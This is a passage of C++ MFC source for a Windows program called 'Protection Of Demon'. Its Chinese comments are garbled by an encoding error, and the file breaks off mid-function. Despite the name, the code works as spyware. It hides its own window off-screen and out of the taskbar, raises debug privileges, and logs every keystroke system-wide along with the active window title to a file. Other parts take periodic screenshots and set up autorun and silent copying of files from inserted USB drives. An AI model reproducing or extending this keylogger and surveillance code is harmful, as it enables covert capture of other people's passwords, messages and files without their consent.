915 lines
27 KiB
C++
915 lines
27 KiB
C++
|
|
|||
|
// Protection Of DemonDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
|||
|
//
|
|||
|
|
|||
|
#include "stdafx.h"
|
|||
|
#include "Protection Of Demon.h"
|
|||
|
#include "Protection Of DemonDlg.h"
|
|||
|
#include "afxdialogex.h"
|
|||
|
|
|||
|
#include "VirtualKeyToAscii.h"
|
|||
|
|
|||
|
#ifdef _DEBUG
|
|||
|
#define new DEBUG_NEW
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
|||
|
|
|||
|
class CAboutDlg : public CDialogEx
|
|||
|
{
|
|||
|
public:
|
|||
|
CAboutDlg();
|
|||
|
|
|||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
enum { IDD = IDD_ABOUTBOX };
|
|||
|
|
|||
|
protected:
|
|||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
|||
|
|
|||
|
// ʵ<><CAB5>
|
|||
|
protected:
|
|||
|
DECLARE_MESSAGE_MAP()
|
|||
|
};
|
|||
|
|
|||
|
CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
|
|||
|
{
|
|||
|
CDialogEx::DoDataExchange(pDX);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnFileExit()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
if(IDOK == ::MessageBox(NULL, "Are You Sure To Exit ?", "EXIT", MB_OKCANCEL | MB_ICONWARNING))
|
|||
|
{
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnHelpAbout()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
CAboutDlg dlg;
|
|||
|
dlg.DoModal();
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
|
|||
|
END_MESSAGE_MAP()
|
|||
|
|
|||
|
|
|||
|
// CProtectionOfDemonDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
CProtectionOfDemonDlg::CProtectionOfDemonDlg(CWnd* pParent /*=NULL*/)
|
|||
|
: CDialogEx(CProtectionOfDemonDlg::IDD, pParent)
|
|||
|
{
|
|||
|
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
|||
|
|
|||
|
m_bHidden = FALSE;
|
|||
|
}
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::DoDataExchange(CDataExchange* pDX)
|
|||
|
{
|
|||
|
CDialogEx::DoDataExchange(pDX);
|
|||
|
DDX_Control(pDX, IDC_SLIDER_TIME, m_Time);
|
|||
|
}
|
|||
|
|
|||
|
BEGIN_MESSAGE_MAP(CProtectionOfDemonDlg, CDialogEx)
|
|||
|
ON_WM_SYSCOMMAND()
|
|||
|
ON_WM_PAINT()
|
|||
|
ON_WM_QUERYDRAGICON()
|
|||
|
ON_COMMAND(ID_FILE_EXIT, &CProtectionOfDemonDlg::OnFileExit)
|
|||
|
ON_COMMAND(ID_HELP_ABOUT, &CProtectionOfDemonDlg::OnHelpAbout)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_KEYBOARD_RECORD, &CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord)
|
|||
|
ON_BN_CLICKED(IDC_BUTTON_KEYBOARD_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath)
|
|||
|
// ON_NOTIFY(NM_CUSTOMDRAW, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnNMCustomdrawSliderTime)
|
|||
|
ON_NOTIFY(NM_RELEASEDCAPTURE, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnReleasedcaptureSliderTime)
|
|||
|
ON_BN_CLICKED(IDC_BUTTON_IMAGE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_AUTORUN, &CProtectionOfDemonDlg::OnBnClickedCheckAutorun)
|
|||
|
ON_BN_CLICKED(IDC_BUTTON_SHUTDOWN_TIMER, &CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer)
|
|||
|
ON_BN_CLICKED(IDC_BUTTON_FILE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_ALL_FILES, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_EXE, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_DOC_DOCX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_XLS_XLSX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_PPT_PPTX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP3_WAV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav)
|
|||
|
ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv)
|
|||
|
ON_WM_DEVICECHANGE()
|
|||
|
ON_MESSAGE(WM_HOTKEY, OnHotKey)
|
|||
|
END_MESSAGE_MAP()
|
|||
|
|
|||
|
|
|||
|
// CProtectionOfDemonDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
BOOL EnablePriv()
|
|||
|
{
|
|||
|
HANDLE hToken;
|
|||
|
::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
|
|||
|
|
|||
|
TOKEN_PRIVILEGES tkp;
|
|||
|
::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); // <20>Ľ<DEB8><C4BD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
|||
|
|
|||
|
tkp.PrivilegeCount = 1;
|
|||
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|||
|
::AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL); // ֪ͨϵͳ<CFB5>Ľ<DEB8><C4BD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
|||
|
|
|||
|
return false;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL CProtectionOfDemonDlg::OnInitDialog()
|
|||
|
{
|
|||
|
CDialogEx::OnInitDialog();
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>ϵͳ<CFB5>˵<EFBFBD><CBB5>С<EFBFBD>
|
|||
|
|
|||
|
// IDM_ABOUTBOX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Χ<EEB7B6>ڡ<EFBFBD>
|
|||
|
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
|
|||
|
ASSERT(IDM_ABOUTBOX < 0xF000);
|
|||
|
|
|||
|
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
|||
|
if (pSysMenu != NULL)
|
|||
|
{
|
|||
|
BOOL bNameValid;
|
|||
|
CString strAboutMenu;
|
|||
|
bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
|
|||
|
ASSERT(bNameValid);
|
|||
|
if (!strAboutMenu.IsEmpty())
|
|||
|
{
|
|||
|
pSysMenu->AppendMenu(MF_SEPARATOR);
|
|||
|
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD>ô˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD>ꡣ<EFBFBD><EAA1A3>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2>ǶԻ<C7B6><D4BB><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>ܽ<EFBFBD><DCBD>Զ<EFBFBD>
|
|||
|
// ִ<>д˲<D0B4><CBB2><EFBFBD>
|
|||
|
SetIcon(m_hIcon, TRUE); // <20><><EFBFBD>ô<EFBFBD>ͼ<EFBFBD><CDBC>
|
|||
|
SetIcon(m_hIcon, FALSE); // <20><><EFBFBD><EFBFBD>Сͼ<D0A1><CDBC>
|
|||
|
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
EnablePriv();
|
|||
|
|
|||
|
// <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD>
|
|||
|
ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW, SWP_DRAWFRAME);
|
|||
|
::GetWindowRect(m_hWnd, &m_rcOldRect);
|
|||
|
::MoveWindow(m_hWnd, -1000, -1000, 0, 0, FALSE);
|
|||
|
// ע<><D7A2><EFBFBD>ȼ<EFBFBD>
|
|||
|
BOOL bRet = ::RegisterHotKey(m_hWnd, 1000, MOD_CONTROL | MOD_SHIFT, 'S'); // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>ȼ<EFBFBD>Ctrl+Shift+H
|
|||
|
|
|||
|
::GetModuleFileName(NULL, m_szPrivateFilePath, MAX_PATH);
|
|||
|
GetCurrentFile(m_szPrivateFilePath, "Config.ini");
|
|||
|
FILE *fp = NULL;
|
|||
|
fopen_s(&fp, m_szPrivateFilePath, "a+");
|
|||
|
if(NULL != fp)
|
|||
|
{
|
|||
|
fclose(fp);
|
|||
|
}
|
|||
|
GetPropertyFromPrivateFile(m_szPrivateFilePath);
|
|||
|
|
|||
|
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TRUE
|
|||
|
}
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||
|
{
|
|||
|
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
|
|||
|
{
|
|||
|
CAboutDlg dlgAbout;
|
|||
|
dlgAbout.DoModal();
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
CDialogEx::OnSysCommand(nID, lParam);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD>ť<EFBFBD><C5A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
|||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ͼ<EFBFBD>ꡣ<EFBFBD><EAA1A3><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ĵ<EFBFBD>/<2F><>ͼģ<CDBC>͵<EFBFBD> MFC Ӧ<>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
// <20>⽫<EFBFBD>ɿ<EFBFBD><C9BF><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ɡ<EFBFBD>
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnPaint()
|
|||
|
{
|
|||
|
if (IsIconic())
|
|||
|
{
|
|||
|
CPaintDC dc(this); // <20><><EFBFBD>ڻ<EFBFBD><DABB>Ƶ<EFBFBD><C6B5>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
|
|||
|
|
|||
|
// ʹͼ<CAB9><CDBC><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>о<EFBFBD><D0BE><EFBFBD>
|
|||
|
int cxIcon = GetSystemMetrics(SM_CXICON);
|
|||
|
int cyIcon = GetSystemMetrics(SM_CYICON);
|
|||
|
CRect rect;
|
|||
|
GetClientRect(&rect);
|
|||
|
int x = (rect.Width() - cxIcon + 1) / 2;
|
|||
|
int y = (rect.Height() - cyIcon + 1) / 2;
|
|||
|
|
|||
|
// <20><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
|
|||
|
dc.DrawIcon(x, y, m_hIcon);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
CDialogEx::OnPaint();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
//<2F><><EFBFBD>û<EFBFBD><C3BB>϶<EFBFBD><CFB6><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱϵͳ<CFB5><CDB3><EFBFBD>ô˺<C3B4><CBBA><EFBFBD>ȡ<EFBFBD>ù<EFBFBD><C3B9><EFBFBD>
|
|||
|
//<2F><>ʾ<EFBFBD><CABE>
|
|||
|
HCURSOR CProtectionOfDemonDlg::OnQueryDragIcon()
|
|||
|
{
|
|||
|
return static_cast<HCURSOR>(m_hIcon);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL CProtectionOfDemonDlg::GetPropertyFromPrivateFile(char *lpszPrivateFilePath)
|
|||
|
{
|
|||
|
|
|||
|
DWORD dwTemp = 0;
|
|||
|
if(1 == ::GetPrivateProfileInt("Keyboard Record", "Keyboard Check", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_KEYBOARD_RECORD, BST_CHECKED);
|
|||
|
}
|
|||
|
|
|||
|
m_Time.SetRange(0, 300);
|
|||
|
dwTemp = ::GetPrivateProfileInt("Screen Capture", "Time", 0, lpszPrivateFilePath);
|
|||
|
m_Time.SetPos(dwTemp);
|
|||
|
char szTime[MAX_PATH] = {0};
|
|||
|
::wsprintf(szTime, "%ds", dwTemp);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
|
|||
|
::SetTimer(m_hWnd, 1, 1000*dwTemp, NULL);
|
|||
|
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "All Files", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_ALL_FILES, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "exe", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_EXE, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "jpg_png_bmp", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "doc_docx", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_DOC_DOCX, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "ppt_pptx", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_PPT_PPTX, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "xls_xlsx", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_XLS_XLSX, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp3_wav", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP3_WAV, BST_CHECKED);
|
|||
|
}
|
|||
|
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp4_avi_rmvb_mkv", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BST_CHECKED);
|
|||
|
}
|
|||
|
|
|||
|
if(1 == ::GetPrivateProfileInt("Auto Run", "AutoRun", 0, lpszPrivateFilePath))
|
|||
|
{
|
|||
|
::CheckDlgButton(m_hWnd, IDC_CHECK_AUTORUN, BST_CHECKED);
|
|||
|
}
|
|||
|
|
|||
|
dwTemp = ::GetPrivateProfileString("Keyboard Record", "Keyboard Record Save Path", "", m_szKeyboardPath, MAX_PATH, lpszPrivateFilePath);
|
|||
|
if(0 == dwTemp)
|
|||
|
{
|
|||
|
::GetModuleFileName(NULL, m_szKeyboardPath, MAX_PATH);
|
|||
|
GetCurrentFile(m_szKeyboardPath, "Keyboard Record.txt");
|
|||
|
}
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
|
|||
|
dwTemp = ::GetPrivateProfileString("Screen Capture", "Screen Capture Save Path", "", m_szScreenCapturePath, MAX_PATH, lpszPrivateFilePath);
|
|||
|
if(0 == dwTemp)
|
|||
|
{
|
|||
|
::GetModuleFileName(NULL, m_szScreenCapturePath, MAX_PATH);
|
|||
|
GetCurrentFile(m_szScreenCapturePath, "Screen Capture\\");
|
|||
|
::CreateDirectory(m_szScreenCapturePath, NULL);
|
|||
|
}
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
|
|||
|
dwTemp = ::GetPrivateProfileString("U Disk Copy", "U Disk Copy Save Path", "", m_szCopyFilePath, MAX_PATH, lpszPrivateFilePath);
|
|||
|
if(0 == dwTemp)
|
|||
|
{
|
|||
|
::GetModuleFileName(NULL, m_szCopyFilePath, MAX_PATH);
|
|||
|
GetCurrentFile(m_szCopyFilePath, "U Disk Copy\\");
|
|||
|
::CreateDirectory(m_szCopyFilePath, NULL);
|
|||
|
}
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
|
|||
|
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_KEYBOARD_RECORD, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_AUTORUN, BN_CLICKED), NULL);
|
|||
|
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_ALL_FILES, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_EXE, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_DOC_DOCX, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_PPT_PPTX, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_XLS_XLSX, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP3_WAV, BN_CLICKED), NULL);
|
|||
|
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BN_CLICKED), NULL);
|
|||
|
|
|||
|
return TRUE;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL CProtectionOfDemonDlg::GetCurrentFile(char *lpszSrc, char *lpszDest)
|
|||
|
{
|
|||
|
char szBuffer[MAX_PATH] = {0};
|
|||
|
::lstrcpy(szBuffer, lpszSrc);
|
|||
|
::PathStripPath(szBuffer);
|
|||
|
DWORD dwLen = ::lstrlen(lpszSrc) - ::lstrlen(szBuffer);
|
|||
|
lpszSrc[dwLen] = '\0';
|
|||
|
::lstrcat(lpszSrc, lpszDest);
|
|||
|
|
|||
|
return TRUE;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
m_iState = ((CButton *)GetDlgItem(IDC_CHECK_KEYBOARD_RECORD))->GetCheck();
|
|||
|
if(1 == m_iState) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
OPENFILENAME stOF;
|
|||
|
char szKeyboardPath[MAX_PATH] = {0};
|
|||
|
::RtlZeroMemory(&stOF, sizeof(stOF));
|
|||
|
stOF.lStructSize = sizeof(stOF);
|
|||
|
stOF.hwndOwner = m_hWnd;
|
|||
|
stOF.lpstrFilter = "txt files(*.txt)\0*.txt\0\0";
|
|||
|
stOF.lpstrFile = szKeyboardPath;
|
|||
|
stOF.nMaxFile = MAX_PATH;
|
|||
|
stOF.Flags = OFN_PATHMUSTEXIST;
|
|||
|
::GetOpenFileName(&stOF);
|
|||
|
|
|||
|
::lstrcpy(m_szKeyboardPath, szKeyboardPath);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
|
|||
|
|
|||
|
::WritePrivateProfileString("Keyboard Record", "Keyboard Record Save Path", szKeyboardPath, m_szPrivateFilePath);
|
|||
|
}
|
|||
|
|
|||
|
FILE *g_fp = NULL;
|
|||
|
LRESULT CProtectionOfDemonDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>ר<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>
|
|||
|
switch(message)
|
|||
|
{
|
|||
|
case WM_INITDIALOG:
|
|||
|
{
|
|||
|
RAWINPUTDEVICE rid;
|
|||
|
rid.usUsagePage = 0x01;
|
|||
|
rid.usUsage = 0x06;
|
|||
|
rid.dwFlags = RIDEV_INPUTSINK;
|
|||
|
rid.hwndTarget = m_hWnd;
|
|||
|
::RegisterRawInputDevices(&rid, 1, sizeof(rid));
|
|||
|
|
|||
|
break;
|
|||
|
}
|
|||
|
case WM_INPUT:
|
|||
|
{
|
|||
|
if(1 != m_iState)
|
|||
|
{
|
|||
|
break;
|
|||
|
}
|
|||
|
if(NULL == g_fp)
|
|||
|
{
|
|||
|
fopen_s(&g_fp, m_szKeyboardPath, "a+");
|
|||
|
}
|
|||
|
UINT uiSize = 0;
|
|||
|
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &uiSize, sizeof(RAWINPUTHEADER));
|
|||
|
BYTE *lpBuf = new BYTE[uiSize];
|
|||
|
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpBuf, &uiSize, sizeof(RAWINPUTHEADER));
|
|||
|
RAWINPUT *pRawInput = (RAWINPUT *)lpBuf;
|
|||
|
if(RIM_TYPEKEYBOARD == pRawInput->header.dwType)
|
|||
|
{
|
|||
|
// WM_KEYDOWN --> <20><>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> WM_SYSKEYDOWN --> ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>(ָ<><D6B8><EFBFBD><EFBFBD>ALT)
|
|||
|
if(WM_KEYDOWN == pRawInput->data.keyboard.Message ||
|
|||
|
WM_SYSKEYDOWN == pRawInput->data.keyboard.Message)
|
|||
|
{
|
|||
|
char szKey[MAX_PATH] = {0};
|
|||
|
char szTitle[MAX_PATH] = {0};
|
|||
|
char szText[MAX_PATH] = {0};
|
|||
|
// BYTE *lpKeyState = new BYTE[0x100];
|
|||
|
// ::GetKeyboardState(lpKeyState);
|
|||
|
// ::ToAscii(pRawInput->data.keyboard.VKey, 0, lpKeyState, (LPWORD)szKey, 0);
|
|||
|
::lstrcpy(szKey, GetKeyName(pRawInput->data.keyboard.VKey));
|
|||
|
HWND hForegroundWnd = ::GetForegroundWindow();
|
|||
|
::GetWindowText(hForegroundWnd, szTitle, MAX_PATH);
|
|||
|
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
|
|||
|
fseek(g_fp, 0, SEEK_END);
|
|||
|
fwrite(szText, ::lstrlen(szText), 1, g_fp);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
break;
|
|||
|
}
|
|||
|
case WM_TIMER:
|
|||
|
{
|
|||
|
int iIdEvent = (int)wParam;
|
|||
|
switch(iIdEvent)
|
|||
|
{
|
|||
|
case 1:
|
|||
|
{
|
|||
|
SaveScreenCapture(m_szScreenCapturePath);
|
|||
|
break;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
{
|
|||
|
char szTemp[50] = {0};
|
|||
|
::wsprintf(szTemp, "%ds Left", m_dwCountTime);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN), szTemp);
|
|||
|
if(0 >= m_dwCountTime)
|
|||
|
{
|
|||
|
system("shutdown -p");
|
|||
|
::KillTimer(m_hWnd, 2);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
m_dwCountTime--;
|
|||
|
break;
|
|||
|
}
|
|||
|
default:
|
|||
|
break;
|
|||
|
}
|
|||
|
break;
|
|||
|
}
|
|||
|
default:
|
|||
|
break;
|
|||
|
}
|
|||
|
return CDialogEx::WindowProc(message, wParam, lParam);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult)
|
|||
|
{
|
|||
|
